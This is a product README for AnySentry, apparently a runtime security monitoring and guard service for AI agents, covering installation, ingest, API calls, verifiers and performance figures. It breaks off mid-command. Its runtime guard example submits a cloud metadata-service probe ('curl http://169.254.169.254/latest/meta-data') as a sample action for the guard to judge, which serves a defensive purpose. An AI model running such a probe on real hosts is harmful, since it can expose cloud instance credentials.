AnySentry

AnySentry is the security observability and intervention plane for AI agents. It answers one operational question: what did the agent actually do, was it safe, and what should an operator or another agent do next?

The primary path is non-invasive. Agents do not need an SDK, framework adapter, or code change before they can be monitored. a3s-observer captures process, network, file, DNS, tool, and LLM activity from the node; AnySentry normalizes that activity into canonical agent events; @a3s-lab/sentry judges each event; ClickHouse stores the evidence; and the API/dashboard turn those judgments into incidents, alerts, coverage, topology, remediation, evidence bundles, and agent-readable next actions.

Every number on the dashboard is computed from judged runtime events. Synthetic traffic exists only as an opt-in demo feed.

 kernel events (every node)              unmodified agents · any language
   a3s-observer (eBPF) ──NDJSON──▶ forwarder ──POST /security-center/ingest──▶ AnySentry
                                                                  │
                        @a3s-lab/sentry (L1 rules / L2 LLM / L3 agent) judges
                                                                  │
                   ClickHouse (durable store)  ◀──▶  aggregation ──▶ dashboard

It ships as a single self-contained service (the API also serves the dashboard) plus ClickHouse as the durable event store. Drop it in front of any agent fleet — it's a piece of middleware: events in via POST /security-center/ingest, risk out via the dashboard, API, and optional alert webhook.

Capability map

AnySentry is useful when an AI platform needs more than logs: it needs runtime evidence, risk judgment, operational state, and safe ways for humans or agents to intervene. The tables below summarize what is implemented today.

Use case	Problem it solves	What AnySentry provides
See what agents really did	Agent tool calls, subprocesses, egress, file access, and LLM calls are hard to reconstruct from app logs alone.	Canonical `anysentry.agent_event.v1` events with agent/session/run/trace identity and redacted evidence.
Judge runtime safety	Raw events do not say whether an action is acceptable, suspicious, or severe.	`@a3s-lab/sentry` decisions with verdict, tier, severity, reason, action, and risk category.
Preserve audit evidence	Incidents need a case file, not scattered dashboard clicks.	Evidence Bundles and Markdown exports around events, runs, traces, sources, agents, alerts, remediations, objectives, maintenance windows, notifications, topology, and audit records.
Find monitoring blind spots	Operators need to know which agents, sources, collectors, or workspaces are not covered.	Coverage issues for stale agents, source gaps, stale tokens, missing collector heartbeats, rejected ingress, and unowned events.
Run security operations	Alerts without ownership and next steps create noise.	Incidents, alerts, notification routing, objectives, maintenance windows, remediation tasks, owner/team metadata, and audit trails.
Let agents use security controls	Coding agents need a stable way to ask for guard decisions, write evidence, and request next actions.	A discoverable Progressive API at `/security-center/capabilities` plus the `integrations/skills/anysentry-api` Skill.

What it observes	Examples	Entry points
Agent identity and execution context	`agentId`, `sessionId`, `runId`, `traceId`, `spanId`, user, workspace, pod/node context	`a3s-observer`, generic ingest, OTel, Progressive API
Tool and subprocess activity	shell commands, argv, cwd, tool name, subprocess chains	observer NDJSON, `recordSecurityEvents`, generic JSON
Network and DNS activity	egress peer, port, SNI, endpoint, metadata-service access attempts	observer NDJSON, OTel logs/traces, custom events
File and process activity	file paths, read/write-style evidence, process/runtime events	observer NDJSON, custom events
LLM activity	model, prompt/completion tokens, latency, `LlmCall` evidence, run/session linkage	`recordSecurityEvents`, a3s-code Skill verifier, custom producers
Security-relevant evidence	dangerous commands, privilege escalation signals, suspicious network/file/content events	observer NDJSON, CloudEvents, OTel, generic ingest
Sources and collectors	source identity, token state, accepted/rejected counts, heartbeat freshness, collector node/pod	Sources API, heartbeat endpoint, observer forwarder
Assets and topology	agents, workspaces, collectors, sources, tool/network/file/LLM dependency edges	derived inventory and `/security-center/agents/topology`

What it monitors	Signals and states	Output
Fleet risk health	block/escalate rates, severity distribution, risk categories, risk trend	health cards, risk summary, explainability wave
Decision flow	L1 rules, L2 LLM escalation markers, L3 agent-tier risk, final verdict	decision funnel
Agent behavior	throughput, error rate, latency, heartbeat, behavior drift, highest-risk session	live SSE observability and session views
Incidents and alerts	risky events, source health, collector health, severe blocks, objective breaches, remediation overdue	incident and alert centers
Coverage	stale agents, stale/down sources, source token rotation, missing collector heartbeat, uncovered workspaces	coverage overview and coverage alerts
Objectives/SLOs	coverage score, active alerts, open incidents, overdue remediation, risky events, stale agents, collector/source down	objective status, breach alerts, remediation tasks
Maintenance	planned windows for global, workspace, agent, collector, or source targets	alert suppression context and maintenance evidence
Notification delivery	route matches, webhook delivery status, failures, recovery notifications	notification config, delivery log, audit records
Remediation	task owner/status/due time/steps, overdue state, source/alert/objective links	remediation center and AI Operator actions
Evidence integrity	timeline, related alerts/incidents/tasks/objectives/coverage/source/collector/audit linkage	Evidence Bundle and Markdown export

How it can intervene	What it changes or returns	Interface
Runtime guard	Returns `allow`, `warn`, `require_approval`, or `block` for a proposed tool/model/output/runtime action.	`security-center.assessRuntimeAction`
Schema-aware preflight	Validates an execute request and returns `schemaIssues` without writing events or mutating state.	`dryRun: true` on `/security-center/capabilities`
Evidence recording	Writes custom/webhook/OTel-shaped evidence into the same judged event stream as observer events.	`security-center.recordSecurityEvents`
Next-action planning	Ranks active remediation, incident, alert, objective, and coverage-derived work for an operator or agent.	`security-center.planNextActions`, `/operator`
Case-file assembly	Builds a redaction-safe evidence bundle around an event, run, trace, source, agent, alert, task, objective, or scope.	`security-center.buildEvidenceBundle`, `/evidence`
Remediation workflow	Updates task owner, status, notes, due time, and step completion state.	Remediation API and `/operator`
Incident and alert lifecycle	Acknowledge, resolve, reopen, and deep-link operational findings.	Incidents and Alerts APIs
Source protection	Create sources, enforce ingest tokens, reject invalid producers, and rotate source tokens.	Sources API and ingest headers
Governance controls	Save/replay policy, create objectives, define maintenance windows, configure notification routes.	Config, Objectives, Maintenance, Notifications
Agent metadata overlay	Attach owner, team, environment, criticality, tags, and notes without changing agent code.	Agent metadata API

Boundary	What it means
Observe-only by default	`a3s-observer` watches runtime behavior; it does not kill workloads by itself.
Enforcement is opt-in	Hard blocking happens when an agent, gateway, or platform loop calls `assessRuntimeAction` and honors `block` / `require_approval`.
Synthetic data is explicit	The dashboard is empty until real events arrive unless `ANYSENTRY_SYNTHETIC_FEED` is enabled for demos.
No SDK requirement	SDKs and Skills enrich the stream, but the baseline observer path works without agent code changes.
Not just a SIEM	AnySentry combines event evidence with guard decisions, source health, coverage, objectives, remediation, evidence handoff, and agent-readable next actions.

The README is the product entry point, not a second specification. Runtime schemas come from describe, detailed deployment notes live in deploy/README.md, and the canonical agent Skill lives in integrations/skills/anysentry-api.

Operating principles

The platform treats zero-code observation as the product baseline:

Observe first. The recommended collector is a3s-observer in observe-only mode; it never requires agent code changes and does not block workloads.
Normalize after capture. AnySentry derives a canonical anysentry.agent_event.v1 envelope from raw observer events: eventId, traceId, spanId, runId, agentId, sessionId, eventCategory, source, risk verdict, attributes, and a redacted raw preview.
Redact before persistence. Observer metadata, generic JSON attributes, CloudEvents extensions, OTLP attributes, and raw previews are key-aware redacted for passwords, API keys, bearer credentials, tokens, and secrets before they are stored or surfaced in evidence APIs.
Optional enrichment only. SDKs, framework adapters, LLM gateways, or explicit trace IDs can enrich the event stream later, but they are not required to monitor arbitrary agents.

Fast path

Install locally, send one event, then run the core verifier:

corepack enable
pnpm install

deploy/install.sh docker
curl -fsS http://localhost:29653/security-center/healthz

curl -fsS -X POST http://localhost:29653/security-center/ingest/events \
  -H 'Content-Type: application/json' \
  -d '{
    "sourceType": "custom",
    "sourceName": "readme-smoke",
    "workspacePath": "repo://readme",
    "agentId": "readme-agent",
    "sessionId": "readme-session",
    "events": [
      { "kind": "ToolExec", "command": ["bash", "-lc", "id"], "cwd": "/workspace" }
    ]
  }'

ANYSENTRY_API_BASE=http://127.0.0.1:29653/security-center pnpm verify:progressive-api

Open http://localhost:29653 for the dashboard. Use /operator for ranked next actions and /capabilities for live progressive API discovery.

Install

Choose Docker for a local workstation or demo, and Kubernetes for a real node/fleet install with observe-only a3s-observer on every node.

Prerequisites:

Docker + Compose for local mode.
For Kubernetes mode: kubectl, a default StorageClass, and amd64 nodes. The bundled @a3s-lab/sentry runtime image targets linux-x64-gnu on Ubuntu 24.04.
Optional but recommended for real signals: a3s-observer-collector locally, or the bundled deploy/observer.yaml DaemonSet in Kubernetes.

Docker local stack

Docker mode builds and starts AnySentry plus ClickHouse. The API also serves the dashboard.

deploy/install.sh docker
# equivalent: docker compose up -d --build

Verify the service and open the dashboard:

curl -fsS http://localhost:29653/security-center/healthz
# browse http://localhost:29653

Useful local operations:

docker compose ps
docker compose logs -f anysentry
docker compose down                 # stop services, keep ClickHouse volume
docker compose down -v              # stop and remove stored ClickHouse data

The dashboard is live but empty until events arrive. To see data immediately, enable demo traffic and restart:

# uncomment ANYSENTRY_SYNTHETIC_FEED under the anysentry service in docker-compose.yml, then:
docker compose up -d --build

To feed real local activity, pipe an observer collector into the Node forwarder:

A3S_OBSERVER_JSON=1 sudo -E a3s-observer-collector \
  | ANYSENTRY_INGEST_URL=http://localhost:29653/security-center/ingest node scripts/observer-forward.js

Kubernetes integrated stack

Kubernetes mode creates the namespace, ClickHouse Secret, bundled ClickHouse, AnySentry Deployment/Service, and the observe-only a3s-observer DaemonSet. Choose a real ClickHouse password before installing:

ANYSENTRY_INSTALL_MODE=kubernetes \
CLICKHOUSE_PASSWORD="$(openssl rand -hex 16)" \
deploy/install.sh

Common install-time options:

ANYSENTRY_NAMESPACE=security \
ANYSENTRY_OBSERVER_IMAGE=<registry>/anysentry-observer:latest \
ANYSENTRY_APPLY_INGRESS=1 \
ANYSENTRY_INSTALL_MODE=kubernetes \
CLICKHOUSE_PASSWORD="$(openssl rand -hex 16)" \
deploy/install.sh

Check rollout and open a local tunnel:

kubectl -n anysentry rollout status deploy/clickhouse
kubectl -n anysentry rollout status deploy/anysentry
kubectl -n anysentry rollout status daemonset/a3s-observer
kubectl -n anysentry port-forward svc/anysentry 29653:29653
curl -fsS http://localhost:29653/security-center/healthz

If your cluster cannot pull the public observer-forwarder image, build and push it, then set ANYSENTRY_OBSERVER_IMAGE:

docker build -f deploy/observer-forwarder.Dockerfile -t <registry>/anysentry-observer:latest .
docker push <registry>/anysentry-observer:latest

To expose the dashboard through an Ingress, edit deploy/ingress.yaml for your ingressClassName and host, then either set ANYSENTRY_APPLY_INGRESS=1 during install or run:

kubectl -n anysentry apply -f deploy/ingress.yaml

Production notes

Set ANYSENTRY_ADMIN_TOKEN or ANYSENTRY_MANAGEMENT_TOKEN to protect control-plane writes. Producer paths such as /security-center/ingest, Collector heartbeat, and Source check-in stay on Source identity and Source ingest tokens.
Use ANYSENTRY_SOURCE_ID and ANYSENTRY_INGEST_TOKEN for managed Sources after creating them in the dashboard's /sources view. The Node and Python forwarders also emit Collector heartbeats every ANYSENTRY_HEARTBEAT_SECS seconds by default.
To use an external ClickHouse, remove the bundled ClickHouse objects from deploy/anysentry.yaml and set CLICKHOUSE_URL, CLICKHOUSE_DB, CLICKHOUSE_USER, and CLICKHOUSE_PASSWORD on the AnySentry Deployment.
See deploy/README.md for the longer Kubernetes runbook and manifest customization notes.

Use

AnySentry has three primary usage paths. They all feed the same judged event stream and all downstream consoles read from that stream.

Path	Use when	Entry point
Observer ingest	You want zero-code monitoring for agent workloads on a node or cluster.	`POST /security-center/ingest` with raw `a3s-observer` NDJSON.
Generic ingest	You already have webhook, OpenTelemetry, CI, gateway, or agent runtime evidence.	`POST /security-center/ingest/events`, CloudEvents, or OTLP/HTTP JSON.
Progressive API	A coding agent or operator needs discoverable guard, evidence, or next-action operations.	`GET

The smallest runtime guard call is:

curl -fsS -X POST http://localhost:29653/security-center/capabilities \
  -H 'Content-Type: application/json' \
  -d '{
    "action": "execute",
    "module": "security-center",
    "operation": "assessRuntimeAction",
    "params": {
      "autonomy": "guarded",
      "stage": "tool",
      "workspacePath": "repo://payments",
      "agentId": "release-agent",
      "sessionId": "deploy-42",
      "toolName": "bash",
      "command": ["bash", "-lc", "curl http://169.254.169.254/latest/meta-data"]
    }
  }'

For agents, the safer flow is always discover-first:

curl -fsS 'http://localhost:29653/security-center/capabilities?action=list'
curl -fsS 'http://localhost:29653/security-center/capabilities?action=describe&module=security-center&operation=assessRuntimeAction'

Then run the same execute body with dryRun: true to validate schema and scope without writing events or changing remediation state. The /capabilities page does this from the dashboard and can generate the canonical curl for the current request.

Operators usually start in the dashboard:

/ - fleet risk, incidents, alerts, assets, coverage, topology, and timelines.
/operator - ranked next actions from planNextActions, with evidence previews and remediation updates.
/capabilities - live progressive API discovery, schema-driven request editing, dry-run preflight, execution, and replayable curl.
/evidence - case-file assembly and Markdown export for handoff.

Test

Use the verifier that matches the surface you changed. The local variants build the API/dashboard, start a temporary AnySentry server on a free port, run the checks, and stop the server.

Surface	Command
Deployment manifests and installer contracts	`pnpm verify:deployment-manifests`
Progressive API static/runtime contract	`pnpm verify:progressive-api`
Progressive API with temporary local API	`pnpm verify:progressive-api:local`
Dashboard serving, assets, deep links, Operator, Capabilities	`pnpm verify:dashboard-runtime:base-path:local`
Observer NDJSON ingest	`ANYSENTRY_API_BASE=http://127.0.0.1:29653/security-center pnpm verify:observer-ingest`
Node/Python forwarders	`ANYSENTRY_API_BASE=http://127.0.0.1:29653/security-center pnpm verify:forwarders`
Generic JSON, CloudEvents, and OTLP ingest	`pnpm verify:ingest-protocols:local`
Management auth	`pnpm verify:management-auth:local`
Operations lifecycle	`pnpm verify:operations-lifecycle:local`
Coverage, objectives, maintenance, remediation, evidence, notifications	`pnpm verify:contracts:local`
a3s-code verifier summary contract, without API/model calls	`pnpm verify:a3s-code-skill-api:self-test`
Real a3s-code Skill plus LLM-backed evidence event	`ANYSENTRY_API_BASE=http://127.0.0.1:29653/security-center A3S_TEST_MODEL=openai/glm5.1-w4a8 A3S_CODE_ACL="$HOME/.a3s/config.acl" A3S_CODE_SDK_BASE=../os/apps/api pnpm verify:a3s-code-skill-api`

For production smoke or soak testing, run the verifier on the target Shu'an OS production host or a production-equivalent node, not against a local Docker/OrbStack instance, and do not reuse old event IDs as proof. Run new agents with unique agentId / runId values, make real session.send() calls through a configured model, write LlmCall evidence through security-center.recordSecurityEvents, then query the new rows back through /security-center/events/list and build an Evidence Bundle for at least one new event. That is the same path the a3s-code verifier uses. The a3s-code verifier also wraps Skill calls with A3S_CODE_SKILL_TIMEOUT_MS; timeouts, max-tool-round failures, and invalid Skill results are recorded as SecurityFinding events through recordSecurityEvents, so failed soak attempts remain queryable and bundleable; the verifier now queries the failure event back and builds an Evidence Bundle before reporting the failure. Both success and failure evidence include verifier audit metadata such as the git commit, timeout configuration, model, verifier schema version, and phase timing diagnostics. Successful runs that spend more than A3S_CODE_NEAR_TIMEOUT_RATIO (default 0.5) of the configured timeout in the a3s-code Skill call also record an allow-level RuntimeEvent with progressive.warning=near_timeout, so soak runs can spot latency drift before it becomes a hard timeout without polluting LLM call metrics. The verifier queries those warning rows back and fails if any near-timeout warning is stored as LlmCall or categorized as llm; triggered warning summaries also require exactly one runtime warning row for the run. Set A3S_CODE_REQUIRE_NEAR_TIMEOUT_WARNING=1 with a deliberately low A3S_CODE_NEAR_TIMEOUT_RATIO for production smoke tests that must exercise the warning branch; if the warning is not emitted, the verifier records a SecurityFinding failure before exiting non-zero. Passed and failed verifier runs emit a single-line VERIFIER_SUMMARY JSON record with schema anysentry.a3s_code_skill_verifier.summary.v1, so production automation can assert status, failure phase, failure evidence, event IDs, warning isolation, warning event/bundle bindings, and timing fields without scraping human-readable log lines. Summary validation binds verifier.commit, verifier.schemaVersion, verifier.model, timeout settings, near-timeout warning settings, Node.js runtime version, and the target apiBase/runId/agentId/sessionId to the running verifier process, so automation can reject stale, cross-run, or cross-config summaries. Stored event, warning, and failure audit attributes use progressive.verifier.closeTimeoutMs for the same session-close timeout value, so the audit key stays separate from platform session identity fields. The warning budget fields also bind to the running verifier config: warning.required must match A3S_CODE_REQUIRE_NEAR_TIMEOUT_WARNING, and warning.thresholdMs must match the computed timeout threshold. Triggered warnings must also bind to the timing budget by proving timings.skill >= warning.thresholdMs and to the canonical warning.reason; passed summaries with untriggered warnings must prove timings.skill < warning.thresholdMs. Passed summaries must identify verifier.skill=anysentry-api, report a positive verifier.toolCalls, and include the warning budget state; when warning.required=true, warning.triggered must also be true. Warning summaries are mutually exclusive: triggered warnings carry warning event kind, category, verdict, reason, bundle, and isolation evidence and no failure payload, while untriggered warnings carry no stale warning event, reason, or isolation fields. Triggered warnings must be separate RuntimeEvent/runtime/allow rows, not the success LlmCall row, so summary-only automation can verify that latency warnings did not pollute LLM evidence. Triggered warning summaries also bind the warning row's workspacePath, runId, agentId, sessionId, and sourceId to the target identity and success evidence Source, expose warning.persistedVerifierAttributes, warning.persistedSkillAttributes, and warning.persistedTimingAttributes from the warning row's stored audit metadata, and expose warning.sourceEventId, which must match the success evidence event. The warning reason binds to the same canonical progressive.warning.reason value recorded on the runtime warning row. The warning bundle fields bind to the same Evidence Bundle as the success evidence: warning.bundleSchemaVersion must be anysentry.evidence_bundle.v1, warning.bundleContainsSourceEvent must be true, warning.bundleEventCount must match the success bundle summary count, and warning.bundleListedEventCount must match the success bundle's listed event count. warning.bundlePrimaryEventId must match the success evidence event, proving the shared bundle's primary event is the warning source event. The warning listed target event and primary bundle event fields must match the success evidence event payload fields, proving the warning references the same source event payload rather than only reusing the bundle ID. The warning bundle scope fields (bundleScopePrimaryType, bundleScopePrimaryId, bundleScopeEventId, bundleScopeWorkspacePath, bundleScopeRunId, bundleScopeAgentId, and bundleScopeSessionId) must match the success evidence bundle scope, and the warning bundle timeline fields must prove the same source event appears in the shared case-file timeline. Success summaries also include the inner Skill output health/list/describe proofs, event, workspace, run, agent, session, bundle IDs, and inner API timing fields under evidence.skillOutput, and the verifier fails if those proofs do not show healthOk=true, listed=true, and described=recordSecurityEvents or if the IDs do not match the target identity, rows, Evidence Bundle, or timing contract queried by the outer runtime. The summary also exposes evidence.persistedVerifierAttributes, evidence.persistedSkillAttributes, and evidence.persistedPreflightAttributes from the stored success row, where the first must match the running verifier audit metadata, the Skill attributes must match the stored progressive.runner, progressive.skill, progressive.flow, and progressive.model markers, and the preflight attributes persist the same preflight proof attributes (progressive.verifier.healthOk, progressive.verifier.listed, and progressive.verifier.describedOperation), and the outer verifier rejects rows whose attributes drift from the Skill output. It also exposes evidence.persistedInnerTimingAttributes for the stored pre-record timing attributes, and those values must match evidence.skillOutput.timings. The stored success evidence row also exposes evidence.workspacePath, evidence.runId, evidence.agentId, and evidence.sessionId, which must match the target identity. Passed summary validation also requires both the stored event and the Skill output to remain LlmCall/llm/allow, with matching event categories and evidence.skillOutput.queriedBack=true, so automation can detect evidence-contract drift from the summary alone. The outer and Skill-reported Evidence Bundle schema, event-membership flag, and bundleEventCount fields must also be valid and equal. The contract also exposes bundleListedEventCount from events.length on the Evidence Bundle response; it must be positive, must not exceed bundleEventCount, and must match the Skill-reported listed count. This lets automation distinguish bundle summary count drift from listed-member drift without rebuilding the bundle. The contract also exposes the listed target event fields (bundleListedEventId, bundleListedEventSourceId, bundleListedEventWorkspacePath, bundleListedEventRunId, bundleListedEventAgentId, bundleListedEventSessionId, bundleListedEventTraceId, bundleListedEventKind, bundleListedEventCategory, and bundleListedEventVerdict) and the primary bundle event fields (bundlePrimaryEventId, bundlePrimaryEventSourceId, bundlePrimaryEventWorkspacePath, bundlePrimaryEventRunId, bundlePrimaryEventAgentId, bundlePrimaryEventSessionId, bundlePrimaryEventTraceId, bundlePrimaryEventKind, bundlePrimaryEventCategory, and bundlePrimaryEventVerdict). Both field groups must match the stored event payload in the outer evidence and the Skill output, so summary-only automation can detect bundles whose listed member or primary event payload drifted even when the event ID is still present. The verifier projects the nested Skill output summary from the same listed/primary field contract, so source identity cannot disappear while the top-level evidence still reports it. Bundle scope fields are also exposed and must bind to the same event/workspace/run/agent/session identity in both the outer evidence and the Skill output, so automation can reject bundles built with a stale or cross-run scope. Bundle timeline fields (bundleTimelineContainsEvent, bundleTimelineEventCount, bundleTimelineTraceId, bundleTimelineRunId, and bundleTimelineSessionId) must prove the target event is present in the case-file timeline and that the timeline remains bound to the same trace, run, and session. Failed summaries always include explicit failure.details plus a failure evidence status, either with the recorded event/bundle IDs or with recorded=false plus the reason evidence was not written; these states are mutually exclusive, so recorded evidence must not carry error and unrecorded evidence must not carry stale event, bundle, or persisted-attribute fields. If a failed summary also includes top-level success evidence, that evidence must satisfy the same stored-event and Skill-output contract as a passed summary and must not reuse the recorded failure evidence event or bundle IDs. Recorded failure evidence must be the canonical SecurityAction/security event produced from the verifier's SecurityFinding, must carry a non-allow verdict, must use riskCategory=runtime_failure, and must bind failurePhase, failureReason, persisted-attribute failureDetails, failure.evidence.persistedVerifierAttributes, failure.evidence.persistedSkillAttributes, and failure.evidence.persistedTimingAttributes to the top-level failure, timings, running verifier metadata, and the same Skill provenance markers used by success evidence plus workspacePath, runId, agentId, and sessionId to the target identity. Recorded failure bundles must use schema anysentry.evidence_bundle.v1, must include the failure event, and must report positive Evidence Bundle summary and listed event counts, with the listed count not exceeding the summary count. They must also expose listed target event and primary bundle event fields matching the recorded failure event payload, plus bundle scope fields bound to that failure event's workspace, run, agent, and session identity. Failure bundle timeline fields must likewise prove the failure event is present in the failure case-file timeline and bound to the failure trace, run, and session. When a required near-timeout warning is missing, the nested warning.failure.evidence must match the top-level failure.evidence, including persisted verifier, Skill, and timing attribute evidence, so automation does not need to guess which failure record is authoritative. Other failed summaries must not carry stale warning payloads. Timing values in summaries must be non-negative numbers or non-empty strings, and failed summaries outside preflight and summary-validation must bind timings.failurePhase to failure.phase, while preflight and summary-validation failures must not carry stale timings.failurePhase. If the verifier detects that its own summary violates the contract, the emitted summary is converted to status=failed with failure.phase=summary_validation so automation can trust the top-level status. Summary-validation failures must also carry summaryValidation.status=failed and a non-empty summaryValidation.issues array that exactly matches failure.details.issues; passed summaries and non-summary-validation failures must not carry stale summaryValidation payloads. Summary-validation failures are rebound to the running verifier commit, model, API base, run ID, agent ID, and session ID; stale or mismatched original identities are retained only under failure.details.originalVerifier and failure.details.originalTarget. Runtime contract failures after the Skill runs, such as missing event markers or Evidence Bundle drift, are recorded as phase-specific SecurityFinding evidence instead of being collapsed into generic summary-validation failures. Pre-session failures are also phase-specific: healthz failures report recorded=false because the API is unavailable, while SDK load and Agent creation failures attempt to write the same failure evidence through AnySentry. pnpm verify:a3s-code-skill-api:self-test validates that summary contract and the Skill-output final-line JSON parser offline, so the production verifier's machine-readable handoff is checked without adding a parallel soak path. The Skill invocation runs the checked-in scripts/verify-a3s-code-skill-inner.mjs helper with a typed identity JSON environment, so runId, agentId, sessionId, and workspacePath are not reconstructed by the model from a long inline script. Timeout handling closes the a3s-code session before writing failure evidence, and A3S_CODE_SESSION_CLOSE_TIMEOUT_MS bounds that cleanup so a stuck close cannot suppress the failure finding. Coding-agent producer aliases such as NetworkEgress, FileRead, FileWrite, and SecurityFinding are normalized to the canonical AnySentry kinds Egress, FileAccess, and SecurityAction. Producer-reported SecurityFinding and progressive.failure=true events are stored as non-allow findings, so failed soak attempts show up in risk and action flows instead of looking like benign telemetry. When runtime guard fallback logic upgrades an otherwise-benign tool decision, it also records an actionable SecurityFinding that links back to the original action event, so the block/approval decision and the evidence stream stay aligned. pnpm verify:progressive-api:local and the production progressive verifier both regression-check that alias normalization and obvious high-risk runtime guard actions return a non-allow policy decision. Keep production probes on this single progressive API path rather than adding a parallel soak evidence format.

To regression-check the primary observer path against a running API, including raw observer NDJSON, Source token rejection, evidence redaction, raw CollectorHeartbeat, direct forwarder heartbeat, Collector health, and Source rollups:

ANYSENTRY_API_BASE=http://127.0.0.1:29653/security-center pnpm verify:observer-ingest

To regression-check the bundled Node and Python forwarders themselves against a running API, including Source-token headers, final heartbeat flush, pseudo-filesystem noise filtering, forwarded Events, Collector health, and Source rollups:

ANYSENTRY_API_BASE=http://127.0.0.1:29653/security-center pnpm verify:forwarders

To regression-check the built dashboard served by the API, including SPA fallback for every management route, hashed JS/CSS asset delivery, live observability SSE, and /security-center/* API routes staying JSON:

ANYSENTRY_API_BASE=http://127.0.0.1:29653/security-center pnpm verify:dashboard-runtime

To regression-check the same single-service dashboard under an ingress-style sub-path, including prefixed static assets and prefixed /security-center API calls:

pnpm verify:dashboard-runtime:base-path:local

To regression-check the Kubernetes and Docker deployment contracts, including service ports, health probes, ClickHouse wiring, observe-only observer forwarding, Ingress routing, and runtime image assumptions plus the integrated installer:

pnpm verify:deployment-manifests

To regression-check the source-compatible progressive capability API contract, including list/search/describe/execute, module/operation dispatch, shaped responses, and the runtime guard operation. The local variant also runs a real guard -> next action -> progressive evidence bundle -> Remediation status update loop:

pnpm verify:progressive-api
pnpm verify:progressive-api:local

To run the real a3s-code Skill integration check, using glm5.1-w4a8, load integrations/skills/anysentry-api, invoke it through the a3s-code Skill tool, and have that Skill call the progressive API flow (healthz -> list -> describe -> execute -> events/list -> buildEvidenceBundle):

ANYSENTRY_API_BASE=http://127.0.0.1:29653/security-center \
A3S_TEST_MODEL=openai/glm5.1-w4a8 \
A3S_CODE_ACL="$HOME/.a3s/config.acl" \
A3S_CODE_SDK_BASE=../os/apps/api \
pnpm verify:a3s-code-skill-api

The verifier creates one unique LlmCall/llm evidence event through security-center.recordSecurityEvents, then queries it back by runId and checks the stored attributes bind progressive.runner=a3s-code, progressive.skill=anysentry-api, the expected progressive.flow, and the verifier model. It then builds an Evidence Bundle for the same event and asserts that the bundle contains the new evidence.

To regression-check optional management API auth, including admin-token protection for control-plane mutations while leaving read APIs, /ingest, Collector heartbeat, and Source check-in on their producer-token paths:

pnpm verify:management-auth:local

To regression-check Coverage runtime evaluation against a running API, including Source coverage gaps, Source token rotation due issues, Coverage alert lifecycle, Maintenance suppression markers, and coverage score recovery for suppressed or freshly rotated issues:

ANYSENTRY_API_BASE=http://127.0.0.1:29653/security-center pnpm verify:coverage-runtime

To regression-check the management lifecycle against a running API, including Source token rotation, Incident / Alert / Remediation updates, Agent metadata, Maintenance windows, Notifications, Objectives, Policy simulate/update, and Audit records with actor attribution:

ANYSENTRY_API_BASE=http://127.0.0.1:29653/security-center pnpm verify:operations-lifecycle

To regression-check Objective runtime evaluation against a running API, including Source-down, active-Alert, open-Incident, and overdue-Remediation objectives moving between ok and breach as live signals change, Objective breach alert generation, governance alert exclusion from active_alerts, and Remediation task creation from Objective alerts:

ANYSENTRY_API_BASE=http://127.0.0.1:29653/security-center pnpm verify:objectives-runtime

To regression-check Maintenance runtime suppression against a running API, including active maintenance resolving Source alerts, Objective recovery during maintenance, and alert re-opening after the maintenance window is disabled:

ANYSENTRY_API_BASE=http://127.0.0.1:29653/security-center pnpm verify:maintenance-runtime

To regression-check Remediation runtime generation against a running API, including runbook tasks derived from live Incident and Coverage evidence, Maintenance-suppressed Coverage gaps staying quiet, overdue Remediation alerting from manual updates and the background due-date scanner without recursive task creation, and manual Remediation status / owner / step state surviving regeneration:

ANYSENTRY_API_BASE=http://127.0.0.1:29653/security-center pnpm verify:remediation-runtime

To regression-check Evidence Bundle case-file assembly and Markdown handoff export against a running API, including Event, Incident, Alert, Remediation, Objective, Notification delivery, Maintenance window, Topology, Agent, Workspace, Source, Collector, and Audit linkage:

ANYSENTRY_API_BASE=http://127.0.0.1:29653/security-center pnpm verify:evidence-bundle

To regression-check alert notification dispatch against a running API, including route filtering, owner/team routing, Collector health routing, critical block event routing, Objective breach routing, Coverage issue routing, Remediation overdue routing, webhook payload shape, delivery history, delivery correlation IDs including Coverage issueId, Source / Objective / Coverage / Remediation recovery delivery, manual Alert / Incident lifecycle delivery, delivery failure audit, delivery status, and token / webhook-secret non-leakage:

ANYSENTRY_API_BASE=http://127.0.0.1:29653/security-center pnpm verify:notification-dispatch

To performance-test AnySentry and its runtime dependency chain, including dashboard serving, progressive API dispatch, raw observer NDJSON ingest, @a3s-lab/sentry judging, generic ingest, ClickHouse-backed write/read paths, dashboard aggregate queries, and Evidence Bundle assembly:

pnpm perf:anysentry
ANYSENTRY_API_BASE=http://127.0.0.1:29653/security-center pnpm perf:anysentry

See docs/performance-testing.md for local, deployed, Kubernetes, smoke, and stress profiles plus report interpretation.

Recent deployed baseline with the default profile, ClickHouse enabled, and Kubernetes pod snapshots showed 0 request errors across the dependency chain:

Scenario	Throughput	p95 latency
`progressive.recordSecurityEvents`	72.93 events/s	101.01 ms
`ingest.observer.ndjson`	91.25 events/s	98.96 ms
`ingest.events.batch`	216.83 events/s	118.51 ms
`events.list`	18.69 req/s	528.36 ms
`aggregate.dashboard`	12.70 req/s	714.49 ms
`evidence.bundle`	0.30 req/s	13266.75 ms

evidence.bundle is the current slow path to watch in future baselines; the write paths stayed under 120 ms p95 in this run.

For a one-command local run that builds the API and dashboard, starts a temporary server, runs the deployment manifest, management-auth, normal and ingress sub-path dashboard, observer, forwarder, heterogeneous ingress, Coverage runtime, operations lifecycle, Objective runtime, Maintenance runtime, Remediation runtime, Evidence Bundle/export, notification dispatch, and deep-link contract verifiers, then stops the server:

pnpm verify:contracts:local

Configuration is via environment variables — see .env.example.

Management auth

Set ANYSENTRY_ADMIN_TOKEN (or ANYSENTRY_MANAGEMENT_TOKEN) to require an operator token for control-plane mutations: policy saves/simulations, Source create/update/rotate, Incident/Alert/ Remediation edits, Agent metadata, Maintenance windows, Notification channels/routes, and Objectives. The token can be sent as X-AnySentry-Admin-Token, X-AnySentry-Management-Token, or Authorization: Bearer <token>.

Read APIs and producer paths stay separate: /security-center/ingest, generic/OTLP ingest, Collector heartbeat, and Source check-in still use Source identity and Source ingest tokens. The dashboard also sends X-AnySentry-Admin-Token when the browser has localStorage["anysentry.adminToken"] set; the console header's management-token control manages that browser-local value, so the token is not built into the static web bundle. Standalone verifier scripts that create or update management objects also forward ANYSENTRY_ADMIN_TOKEN / ANYSENTRY_MANAGEMENT_TOKEN when set, while the management-auth verifier keeps its explicit missing-token rejection checks.

Ingest contract

AnySentry is fed by POST /security-center/ingest. The body is { "line": <raw a3s-observer NDJSON> }; identity, workspace, and session are derived from the line itself, so any producer in any language can drive it. Producers may also include collectorId, sourceId, or X-AnySentry-Ingest-Token / bearer auth to attach platform-side source identity:

curl -X POST localhost:29653/security-center/ingest -H 'Content-Type: application/json' -d '{
